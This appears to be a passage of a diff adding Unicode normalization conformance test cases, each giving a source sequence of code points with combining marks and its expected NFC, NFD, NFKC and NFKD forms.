+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E010, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E010, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E010, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E010, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E010, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E010, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E011, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E011, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E011, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E011, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E011, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E011, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E012, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E012, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E012, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E012, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E012, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E012, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E013, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E013, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E013, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E013, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E013, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E013, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E014, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E014, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E014, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E014, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E014, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E014, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E015, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E015, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E015, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E015, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E015, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E015, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E016, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E016, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E016, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E016, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E016, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E016, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E017, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E017, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E017, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E017, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E017, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E017, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E018, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E018, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E018, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E018, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E018, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E018, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E020, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E020, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E020, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E020, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E020, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E020, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E021, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E021, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E021, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E021, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E021, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E021, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E023, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E023, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E023, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E023, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E023, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E023, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E024, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E024, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E024, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E024, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E024, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E024, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E026, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E026, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E026, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E026, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E026, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E026, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E027, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E027, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E027, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E027, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E027, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E027, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E028, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E028, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E028, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E028, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E028, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E028, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E029, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E029, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E029, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E029, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E029, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E029, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E02A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E02A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E02A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E02A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E02A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E02A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E08F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E08F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E08F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E08F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E08F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E08F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E08F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E08F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E08F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E08F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E130, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E130, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E130, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E130, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E130, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E130, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E131, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E131, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E131, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E131, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E131, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E131, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E132, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E132, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E132, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E132, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E132, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E132, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E133, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E133, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E133, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E133, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E133, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E133, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E134, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E134, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E134, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E134, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E134, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E134, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E135, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E135, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E135, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E135, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E135, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E135, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E136, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E136, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E136, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E136, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E136, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E136, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2AE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2AE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2AE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2AE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2AE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2AE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2AE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2AE, 0x0300, 0x0315, 0x0062] },
